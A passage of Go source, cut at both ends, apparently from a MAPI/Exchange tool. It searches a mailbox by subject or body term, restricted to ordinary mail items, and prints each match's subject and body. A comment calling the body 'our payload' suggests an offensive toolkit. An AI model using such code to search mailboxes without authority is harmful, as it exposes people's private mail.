//restrict by subject or PidTagBody
restrictContent := mapi.ContentRestriction{RestrictType: 0x03}
restrictContent.FuzzyLevelLow = mapi.FLSUBSTRING
restrictContent.FuzzyLevelHigh = mapi.FLIGNORECASE
if c.Bool("subject") == true {
restrictContent.PropertyTag = mapi.PidTagSubject
} else {
restrictContent.PropertyTag = mapi.PidTagBody
}
restrictContent.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))}
//Restrict to IPM.Note
restrictMsgClass := mapi.ContentRestriction{RestrictType: 0x03}
restrictMsgClass.FuzzyLevelLow = mapi.FLPREFIX
restrictMsgClass.FuzzyLevelHigh = mapi.FLIGNORECASE
restrictMsgClass.PropertyTag = mapi.PidTagMessageClass
restrictMsgClass.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictMsgClass.PropertyTag, PropertyValue: utils.UniString("IPM.Note")}
restrict.Restricts = []mapi.Restriction{restrictContent, restrictMsgClass}
/*
if c.Bool("subject") == true {
restrict.Restricts = []mapi.Restriction{restrictContent, restrictMsgClass}
} else {
orRestrict = mapi.OrRestriction{RestrictType: 0x01}
orRestrict.RestrictCount = uint16(2)
orRestrict.Restricts = []mapi.Restriction{restrictContent, restrictHTML}
restrict.Restricts = []mapi.Restriction{orRestrict, restrictMsgClass}
}
*/
if _, err := mapi.SetSearchCriteria(folderids, searchFolder, restrict); err != nil {
return fmt.Errorf("Unable to set search criteria: %s", err)
}
utils.Info.Println("Waiting for search folder to populate")
for x := 0; x < 1; x++ {
// time.Sleep(time.Second * (time.Duration)(5))
res, _ := mapi.GetSearchCriteria(searchFolder)
//do check if search is complete
//fmt.Printf("Search Flag: %x\n", res.SearchFlags)
if res.SearchFlags == 0x00001000 {
break
}
}
mapi.GetFolderFromID(searchFolder, nil)
rows, err := mapi.GetContents(searchFolder)
if rows == nil {
utils.Info.Println("No results returned")
return nil
}
for k := 0; k < len(rows.RowData); k++ {
messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray)
messageid := rows.RowData[k][1].ValueArray
columns := make([]mapi.PropertyTag, 1)
columns[0] = mapi.PidTagBody //Column for the Message Body containing our payload
buff, err := mapi.GetMessageFast(searchFolder, messageid, columns)
if err != nil {
continue
}
//convert buffer to rows
messagerows := mapi.DecodeBufferToRows(buff.TransferBuffer, columns)
payload := ""
if len(messagerows[0].ValueArray) > 4 {
payload = utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4])
}
utils.Info.Printf("Subject: %s\nBody: %s\n", messageSubject, payload)
}
return nil
}
func checkFolder(folderName string) ([]byte, error) {
var folderID []byte
propertyTags := make([]mapi.PropertyTag, 2)
propertyTags[0] = mapi.PidTagDisplayName
propertyTags[1] = mapi.PidTagSubfolders
rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX])
if er == nil {